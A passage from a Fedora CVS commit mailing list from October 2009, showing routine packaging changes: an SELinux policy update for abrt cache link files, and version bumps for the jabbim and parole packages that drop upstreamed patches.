 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  138 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  140 ++
 policy/modules/services/tuned.te          |   58 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   13 
 policy/modules/services/virt.if           |  181 +++
 policy/modules/services/virt.te           |  274 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   39 
 policy/modules/services/xserver.if        |  613 +++++++++++-
 policy/modules/services/xserver.te        |  342 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  290 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   20 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  164 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 376 files changed, 18326 insertions(+), 2761 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.125
retrieving revision 1.126
diff -u -p -r1.125 -r1.126
--- policy-F12.patch	30 Oct 2009 12:25:51 -0000	1.125
+++ policy-F12.patch	30 Oct 2009 13:52:35 -0000	1.126
@@ -9577,8 +9577,8 @@ diff -b -B --ignore-all-space --exclude-
 +gen_user(xguest_u, user, xguest_r, s0, s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.fc serefpolicy-3.6.32/policy/modules/services/abrt.fc
 --- nsaserefpolicy/policy/modules/services/abrt.fc	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/abrt.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -1,7 +1,7 @@
++++ serefpolicy-3.6.32/policy/modules/services/abrt.fc	2009-10-30 09:40:56.000000000 -0400
+@@ -1,11 +1,14 @@
  /etc/abrt(/.*)?			 gen_context(system_u:object_r:abrt_etc_t,s0)
  /etc/rc\.d/init\.d/abrt		--	gen_context(system_u:object_r:abrt_initrc_exec_t,s0)
  
@@ -9586,7 +9586,14 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/sbin/abrtd                  --      gen_context(system_u:object_r:abrt_exec_t,s0)
  
  /var/cache/abrt(/.*)?			gen_context(system_u:object_r:abrt_var_cache_t,s0)
++/var/cache/abrt-di(/.*)?			gen_context(system_u:object_r:abrt_var_cache_t,s0)
  
+ /var/log/abrt-logger		--	gen_context(system_u:object_r:abrt_var_log_t,s0)
+ 
+ /var/run/abrt\.pid		--	gen_context(system_u:object_r:abrt_var_run_t,s0)	
+ /var/run/abrt\.lock		--	gen_context(system_u:object_r:abrt_var_run_t,s0)
++/var/run/abrt(/.*)?			gen_context(system_u:object_r:abrt_var_run_t,s0)
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.if serefpolicy-3.6.32/policy/modules/services/abrt.if
 --- nsaserefpolicy/policy/modules/services/abrt.if	2009-09-16 09:09:20.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/abrt.if	2009-10-29 17:36:00.000000000 -0400
@@ -9657,8 +9664,19 @@ diff -b -B --ignore-all-space --exclude-
  ##	All of the rules required to administrate 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.te serefpolicy-3.6.32/policy/modules/services/abrt.te
 --- nsaserefpolicy/policy/modules/services/abrt.te	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-10-22 14:59:56.000000000 -0400
-@@ -75,11 +75,14 @@
++++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-10-30 09:36:32.000000000 -0400
+@@ -60,8 +60,9 @@
+ files_tmp_filetrans(abrt_t, abrt_tmp_t, { file dir })
+ 
+ # abrt var/cache files
+-manage_files_pattern(abrt_t, abrt_var_cache_t, abrt_var_cache_t)
+ manage_dirs_pattern(abrt_t, abrt_var_cache_t, abrt_var_cache_t)
++manage_files_pattern(abrt_t, abrt_var_cache_t, abrt_var_cache_t)
++manage_lnk_files_pattern(abrt_t, abrt_var_cache_t, abrt_var_cache_t)
+ files_var_filetrans(abrt_t, abrt_var_cache_t, { file dir })
+ 
+ # abrt pid files
+@@ -75,11 +76,14 @@
  
  corecmd_exec_bin(abrt_t)
  corecmd_exec_shell(abrt_t)
@@ -9673,7 +9691,7 @@ diff -b -B --ignore-all-space --exclude-
  files_getattr_all_files(abrt_t)
  files_read_etc_files(abrt_t)
  files_read_usr_files(abrt_t)
-@@ -101,17 +104,32 @@
+@@ -101,17 +105,32 @@
  userdom_read_user_home_content_files(abrt_t)
  
  optional_policy(`
@@ -9699,8 +9717,8 @@ diff -b -B --ignore-all-space --exclude-
 -	rpm_domtrans(abrt_t)
 +	rpm_manage_cache(abrt_t)
 +	rpm_read_db(abrt_t)
++	rpm_exec(abrt_t)
 +	rpm_dontaudit_manage_db(abrt_t)
-+	rpm_domtrans_debuginfo(abrt_t)
 +	rpm_signull(abrt_t)
  ')
  


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.958
retrieving revision 1.959
diff -u -p -r1.958 -r1.959
--- selinux-policy.spec	30 Oct 2009 12:25:52 -0000	1.958
+++ selinux-policy.spec	30 Oct 2009 13:52:35 -0000	1.959
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 37%{?dist}
+Release: 38%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -445,6 +445,9 @@ exit 0
 %endif
 
 %changelog
+* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-38
+- Allow abrt to create link files in /var/cache/abrt
+
 * Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-37
 - Allow consolekit to manage /var/run/console directory
 - Allow pcsd to r/w smartcard devices



From michich at fedoraproject.org  Fri Oct 30 13:52:57 2009
From: michich at fedoraproject.org (Michal Schmidt)
Date: Fri, 30 Oct 2009 13:52:57 +0000 (UTC)
Subject: rpms/jabbim/F-12 jabbim.spec, 1.37, 1.38 sources, 1.25,
	1.26 jabbim-0.5-avoid-traceback-when-closing-multiple-tabs.diff,
	1.1, NONE jabbim-0.5-fix-compact-roster-drawing.diff, 1.1,
	NONE jabbim-0.5-fix-message-loss.diff, 1.1, NONE
Message-ID: <20091030135257.9CCB411C00EA@cvs1.fedora.phx.redhat.com>

Author: michich

Update of /cvs/pkgs/rpms/jabbim/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18107

Modified Files:
	jabbim.spec sources 
Removed Files:
	jabbim-0.5-avoid-traceback-when-closing-multiple-tabs.diff 
	jabbim-0.5-fix-compact-roster-drawing.diff 
	jabbim-0.5-fix-message-loss.diff 
Log Message:
* Fri Oct 30 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.12.svn20091030
- Update to svn rev. 4233 (bugfixes and German translation update)
- Drop 3 upstreamed patches.



Index: jabbim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jabbim/F-12/jabbim.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- jabbim.spec	21 Sep 2009 15:00:37 -0000	1.37
+++ jabbim.spec	30 Oct 2009 13:52:57 -0000	1.38
@@ -1,8 +1,8 @@
-%global	svnrev	4223
-%global	svndate	20090907
+%global	svnrev	4233
+%global	svndate	20091030
 Name:		jabbim
 Version:	0.5
-Release:	0.11.svn%{svndate}%{?dist}
+Release:	0.12.svn%{svndate}%{?dist}
 Summary:	Jabber client for mere mortals
 
 Group:		Applications/Internet
@@ -13,9 +13,6 @@ URL:		http://dev.jabbim.cz/jabbim
 # tar -cJf jabbim-svn%{svndate}.tar.xz jabbim-svn%{svndate}/
 Source0:	jabbim-svn%{svndate}.tar.xz
 Patch0:		jabbim-0.4-autoupdate-disable-notification.diff
-Patch1:		jabbim-0.5-fix-compact-roster-drawing.diff
-Patch2:		jabbim-0.5-fix-message-loss.diff
-Patch3:		jabbim-0.5-avoid-traceback-when-closing-multiple-tabs.diff
 BuildArch:	noarch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -44,9 +41,6 @@ with the advanced functionality provided
 %prep
 %setup -q -n jabbim-svn%{svndate}
 %patch0 -p1
-%patch1 -p1
-%patch2 -p1
-%patch3 -p1
 # replace runtime detection of the SVN revision with hardcoded info
 sed -i -e "s#\\(self.version = '0.5 SVN' + \\)\\(utils.getSvnVersion()\\)#\\1' - rev. %{svnrev}%{?dist}'#" jabbim.py
 
@@ -102,6 +96,10 @@ fi
 
 
 %changelog
+* Fri Oct 30 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.12.svn20091030
+- Update to svn rev. 4233 (bugfixes and German translation update)
+- Drop 3 upstreamed patches.
+
 * Mon Sep 21 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.11.svn20090907
 - Enable devconsole plugin, it's useful for debugging.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jabbim/F-12/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	7 Sep 2009 14:26:22 -0000	1.25
+++ sources	30 Oct 2009 13:52:57 -0000	1.26
@@ -1 +1 @@
-ceb797ba531211ccde339172da4f040d  jabbim-svn20090907.tar.xz
+eafd7950b9ad86c9a14026e1d6dbac45  jabbim-svn20091030.tar.xz


--- jabbim-0.5-avoid-traceback-when-closing-multiple-tabs.diff DELETED ---


--- jabbim-0.5-fix-compact-roster-drawing.diff DELETED ---


--- jabbim-0.5-fix-message-loss.diff DELETED ---



From michich at fedoraproject.org  Fri Oct 30 13:58:34 2009
From: michich at fedoraproject.org (Michal Schmidt)
Date: Fri, 30 Oct 2009 13:58:34 +0000 (UTC)
Subject: rpms/jabbim/F-11 jabbim.spec, 1.34, 1.35 sources, 1.25,
	1.26 jabbim-0.5-fix-compact-roster-drawing.diff, 1.1,
	NONE jabbim-0.5-fix-message-loss.diff, 1.1, NONE
Message-ID: <20091030135834.2C9AE11C00EA@cvs1.fedora.phx.redhat.com>

Author: michich

Update of /cvs/pkgs/rpms/jabbim/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19896

Modified Files:
	jabbim.spec sources 
Removed Files:
	jabbim-0.5-fix-compact-roster-drawing.diff 
	jabbim-0.5-fix-message-loss.diff 
Log Message:
* Fri Oct 30 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.12.svn20091030
- Update to svn rev. 4233 (bugfixes and German translation update)
- Drop 3 upstreamed patches.



Index: jabbim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jabbim/F-11/jabbim.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- jabbim.spec	10 Sep 2009 18:05:11 -0000	1.34
+++ jabbim.spec	30 Oct 2009 13:58:33 -0000	1.35
@@ -1,8 +1,8 @@
-%global	svnrev	4223
-%global	svndate	20090907
+%global	svnrev	4233
+%global	svndate	20091030
 Name:		jabbim
 Version:	0.5
-Release:	0.9.svn%{svndate}%{?dist}
+Release:	0.12.svn%{svndate}%{?dist}
 Summary:	Jabber client for mere mortals
 
 Group:		Applications/Internet
@@ -13,8 +13,6 @@ URL:		http://dev.jabbim.cz/jabbim
 # tar -cJf jabbim-svn%{svndate}.tar.xz jabbim-svn%{svndate}/
 Source0:	jabbim-svn%{svndate}.tar.xz
 Patch0:		jabbim-0.4-autoupdate-disable-notification.diff
-Patch1:		jabbim-0.5-fix-compact-roster-drawing.diff
-Patch2:		jabbim-0.5-fix-message-loss.diff
 BuildArch:	noarch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -43,8 +41,6 @@ with the advanced functionality provided
 %prep
 %setup -q -n jabbim-svn%{svndate}
 %patch0 -p1
-%patch1 -p1
-%patch2 -p1
 # replace runtime detection of the SVN revision with hardcoded info
 sed -i -e "s#\\(self.version = '0.5 SVN' + \\)\\(utils.getSvnVersion()\\)#\\1' - rev. %{svnrev}%{?dist}'#" jabbim.py
 
@@ -56,7 +52,7 @@ make clean
 # The current manpage is not useful.
 rm -r doc/
 # Remove addons which are unlikely to be included in 0.5 final.
-rm -r plugins/{dcoper,devconsole,festival,gpg,ibuddy,network-manager,styler}
+rm -r plugins/{dcoper,festival,gpg,ibuddy,network-manager,styler}
 rm -r sounds/{future,xylo}
 rm -r themes/{Grain,TmavoZeleny,rose}
 rm -r chatskins/grom_elegant_2
@@ -100,6 +96,17 @@ fi
 
 
 %changelog
+* Fri Oct 30 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.12.svn20091030
+- Update to svn rev. 4233 (bugfixes and German translation update)
+- Drop 3 upstreamed patches.
+
+* Mon Sep 21 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.11.svn20090907
+- Enable devconsole plugin, it's useful for debugging.
+
+* Thu Sep 17 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.10.svn20090907
+- Fix a harmless traceback which abrt points out all the time.
+  (jabbim-0.5-avoid-traceback-when-closing-multiple-tabs.diff, upstream)
+
 * Thu Sep 10 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.9.svn20090907
 - Fix message loss because of a change in PyQt4 4.5.x.
   (jabbim-0.5-fix-message-loss.diff, committed upstream)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jabbim/F-11/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	7 Sep 2009 14:42:18 -0000	1.25
+++ sources	30 Oct 2009 13:58:33 -0000	1.26
@@ -1 +1 @@
-ceb797ba531211ccde339172da4f040d  jabbim-svn20090907.tar.xz
+eafd7950b9ad86c9a14026e1d6dbac45  jabbim-svn20091030.tar.xz


--- jabbim-0.5-fix-compact-roster-drawing.diff DELETED ---


--- jabbim-0.5-fix-message-loss.diff DELETED ---



From cwickert at fedoraproject.org  Fri Oct 30 14:06:00 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri, 30 Oct 2009 14:06:00 +0000 (UTC)
Subject: rpms/parole/devel .cvsignore, 1.2, 1.3 parole.spec, 1.2, 1.3 sources,
	1.2, 1.3 parole-0.1.90-fix-untranslatable-strings.patch, 1.1,
	NONE parole-0.1.90-fix-website-url.patch, 1.1,
	NONE parole-0.1.90-set-correct-gettext-domain.patch, 1.1,
	NONE parole-0.1.90-translations.patch, 1.1, NONE
Message-ID: <20091030140600.BE93E11C00EA@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/parole/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22474

Modified Files:
	.cvsignore parole.spec sources 
Removed Files:
	parole-0.1.90-fix-untranslatable-strings.patch 
	parole-0.1.90-fix-website-url.patch 
	parole-0.1.90-set-correct-gettext-domain.patch 
	parole-0.1.90-translations.patch 
Log Message:
* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.91-1
- Update tp 0.1.91



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/parole/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Oct 2009 08:30:47 -0000	1.2
+++ .cvsignore	30 Oct 2009 14:05:57 -0000	1.3
@@ -1 +1 @@
-parole-0.1.90.tar.bz2
+parole-0.1.91.tar.bz2


Index: parole.spec
===================================================================
RCS file: /cvs/pkgs/rpms/parole/devel/parole.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- parole.spec	22 Oct 2009 17:57:44 -0000	1.2
+++ parole.spec	30 Oct 2009 14:05:58 -0000	1.3
@@ -1,20 +1,12 @@
 Name:           parole
-Version:        0.1.90
-Release:        3%{?dist}
+Version:        0.1.91
+Release:        1%{?dist}
 Summary:        Media player for the Xfce desktop
 
 Group:          Applications/Multimedia
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/applications/parole
 Source0:        http://archive.xfce.org/src/apps/parole/0.1/%{name}-%{version}.tar.bz2
-# http://git.xfce.org/apps/parole/commit/?id=346982b9ca86b645b19385fa7549ec43e38c2b88
-Patch0:         parole-0.1.90-fix-website-url.patch
-# http://git.xfce.org/apps/parole/commit/?id=795a28c9be6e6c3556a10f0064c75de639fedf7f
-Patch1:         parole-0.1.90-fix-untranslatable-strings.patch
-# http://git.xfce.org/apps/parole/commit/?id=80a358e16a7933529c70e5982bc7ad0774109580
-Patch2:         parole-0.1.90-set-correct-gettext-domain.patch
-# created from updated translations from git
-Patch3:         parole-0.1.90-translations.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gtk2-devel >= 2.16.0
@@ -57,13 +49,6 @@ The %{name}-devel package contains heade
 
 %prep
 %setup -q
-%patch0 -p1 -b .orig
-%patch1 -p1 -b .untranslatable
-%patch2 -p1 -b .gettext
-%patch3 -p1
-
-# fix desktop file
-sed -i 's|Application;|Application|g' data/desktop/%{name}.desktop.in.in
 
 
 %build
@@ -122,6 +107,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.91-1
+- Update tp 0.1.91
+
 * Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-3
 - Set locale before loading the GtkBuilder interface definition for dialogs
 - Translation updates


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/parole/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Oct 2009 08:30:48 -0000	1.2
+++ sources	30 Oct 2009 14:05:58 -0000	1.3
@@ -1 +1 @@
-acf9085b49cf41469ce41076e6915253  parole-0.1.90.tar.bz2
+fa1dd951b284fd8ab9b6aec825fe8b86  parole-0.1.91.tar.bz2


--- parole-0.1.90-fix-untranslatable-strings.patch DELETED ---


--- parole-0.1.90-fix-website-url.patch DELETED ---


--- parole-0.1.90-set-correct-gettext-domain.patch DELETED ---


--- parole-0.1.90-translations.patch DELETED ---



From cwickert at fedoraproject.org  Fri Oct 30 14:26:50 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri, 30 Oct 2009 14:26:50 +0000 (UTC)
Subject: rpms/parole/F-11 .cvsignore, 1.2, 1.3 parole.spec, 1.2, 1.3 sources,
	1.2, 1.3 parole-0.1.90-fix-untranslatable-strings.patch, 1.1,
	NONE parole-0.1.90-fix-website-url.patch, 1.1,
	NONE parole-0.1.90-set-correct-gettext-domain.patch, 1.1,
	NONE parole-0.1.90-translations.patch, 1.1, NONE
Message-ID: <20091030142651.1EEC211C00EA@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/parole/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29888/F-11

Modified Files:
	.cvsignore parole.spec sources 
Removed Files:
	parole-0.1.90-fix-untranslatable-strings.patch 
	parole-0.1.90-fix-website-url.patch 
	parole-0.1.90-set-correct-gettext-domain.patch 
	parole-0.1.90-translations.patch 
Log Message:
* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.91-1
- Update tp 0.1.91



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Oct 2009 08:42:17 -0000	1.2
+++ .cvsignore	30 Oct 2009 14:26:49 -0000	1.3
@@ -1 +1 @@
-parole-0.1.90.tar.bz2
+parole-0.1.91.tar.bz2


Index: parole.spec
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-11/parole.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- parole.spec	22 Oct 2009 18:15:05 -0000	1.2
+++ parole.spec	30 Oct 2009 14:26:50 -0000	1.3
@@ -1,20 +1,12 @@
 Name:           parole
-Version:        0.1.90
-Release:        3%{?dist}
+Version:        0.1.91
+Release:        1%{?dist}
 Summary:        Media player for the Xfce desktop
 
 Group:          Applications/Multimedia
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/applications/parole
 Source0:        http://archive.xfce.org/src/apps/parole/0.1/%{name}-%{version}.tar.bz2
-# http://git.xfce.org/apps/parole/commit/?id=346982b9ca86b645b19385fa7549ec43e38c2b88
-Patch0:         parole-0.1.90-fix-website-url.patch
-# http://git.xfce.org/apps/parole/commit/?id=795a28c9be6e6c3556a10f0064c75de639fedf7f
-Patch1:         parole-0.1.90-fix-untranslatable-strings.patch
-# http://git.xfce.org/apps/parole/commit/?id=80a358e16a7933529c70e5982bc7ad0774109580
-Patch2:         parole-0.1.90-set-correct-gettext-domain.patch
-# created from updated translations from git
-Patch3:         parole-0.1.90-translations.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gtk2-devel >= 2.16.0
@@ -57,13 +49,6 @@ The %{name}-devel package contains heade
 
 %prep
 %setup -q
-%patch0 -p1 -b .orig
-%patch1 -p1 -b .untranslatable
-%patch2 -p1 -b .gettext
-%patch3 -p1
-
-# fix desktop file
-sed -i 's|Application;|Application|g' data/desktop/%{name}.desktop.in.in
 
 
 %build
@@ -122,6 +107,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.91-1
+- Update tp 0.1.91
+
 * Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-3
 - Set locale before loading the GtkBuilder interface definition for dialogs
 - Translation updates


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Oct 2009 08:42:18 -0000	1.2
+++ sources	30 Oct 2009 14:26:50 -0000	1.3
@@ -1 +1 @@
-acf9085b49cf41469ce41076e6915253  parole-0.1.90.tar.bz2
+fa1dd951b284fd8ab9b6aec825fe8b86  parole-0.1.91.tar.bz2


--- parole-0.1.90-fix-untranslatable-strings.patch DELETED ---


--- parole-0.1.90-fix-website-url.patch DELETED ---


--- parole-0.1.90-set-correct-gettext-domain.patch DELETED ---


--- parole-0.1.90-translations.patch DELETED ---



From cwickert at fedoraproject.org  Fri Oct 30 14:26:51 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri, 30 Oct 2009 14:26:51 +0000 (UTC)
Subject: rpms/parole/F-12 .cvsignore, 1.2, 1.3 parole.spec, 1.2, 1.3 sources,
	1.2, 1.3 parole-0.1.90-fix-untranslatable-strings.patch, 1.1,
	NONE parole-0.1.90-fix-website-url.patch, 1.1,
	NONE parole-0.1.90-set-correct-gettext-domain.patch, 1.1,
	NONE parole-0.1.90-translations.patch, 1.1, NONE
Message-ID: <20091030142651.7BAC611C029D@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/parole/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29888/F-12

Modified Files:
	.cvsignore parole.spec sources 
Removed Files:
	parole-0.1.90-fix-untranslatable-strings.patch 
	parole-0.1.90-fix-website-url.patch 
	parole-0.1.90-set-correct-gettext-domain.patch 
	parole-0.1.90-translations.patch 
Log Message:
* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.91-1
- Update tp 0.1.91



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Oct 2009 08:42:16 -0000	1.2
+++ .cvsignore	30 Oct 2009 14:26:50 -0000	1.3
@@ -1 +1 @@
-parole-0.1.90.tar.bz2
+parole-0.1.91.tar.bz2


Index: parole.spec
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-12/parole.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- parole.spec	22 Oct 2009 18:15:05 -0000	1.2
+++ parole.spec	30 Oct 2009 14:26:50 -0000	1.3
@@ -1,20 +1,12 @@
 Name:           parole
-Version:        0.1.90
-Release:        3%{?dist}
+Version:        0.1.91
+Release:        1%{?dist}
 Summary:        Media player for the Xfce desktop
 
 Group:          Applications/Multimedia
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/applications/parole
 Source0:        http://archive.xfce.org/src/apps/parole/0.1/%{name}-%{version}.tar.bz2
-# http://git.xfce.org/apps/parole/commit/?id=346982b9ca86b645b19385fa7549ec43e38c2b88
-Patch0:         parole-0.1.90-fix-website-url.patch
-# http://git.xfce.org/apps/parole/commit/?id=795a28c9be6e6c3556a10f0064c75de639fedf7f
-Patch1:         parole-0.1.90-fix-untranslatable-strings.patch
-# http://git.xfce.org/apps/parole/commit/?id=80a358e16a7933529c70e5982bc7ad0774109580
-Patch2:         parole-0.1.90-set-correct-gettext-domain.patch
-# created from updated translations from git
-Patch3:         parole-0.1.90-translations.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gtk2-devel >= 2.16.0
@@ -57,13 +49,6 @@ The %{name}-devel package contains heade
 
 %prep
 %setup -q
-%patch0 -p1 -b .orig
-%patch1 -p1 -b .untranslatable
-%patch2 -p1 -b .gettext
-%patch3 -p1
-
-# fix desktop file
-sed -i 's|Application;|Application|g' data/desktop/%{name}.desktop.in.in
 
 
 %build
@@ -122,6 +107,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.91-1
+- Update tp 0.1.91
+
 * Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-3
 - Set locale before loading the GtkBuilder interface definition for dialogs
 - Translation updates


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Oct 2009 08:42:16 -0000	1.2
+++ sources	30 Oct 2009 14:26:50 -0000	1.3
@@ -1 +1 @@
-acf9085b49cf41469ce41076e6915253  parole-0.1.90.tar.bz2
+fa1dd951b284fd8ab9b6aec825fe8b86  parole-0.1.91.tar.bz2


--- parole-0.1.90-fix-untranslatable-strings.patch DELETED ---


--- parole-0.1.90-fix-website-url.patch DELETED ---


--- parole-0.1.90-set-correct-gettext-domain.patch DELETED ---


--- parole-0.1.90-translations.patch DELETED ---



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
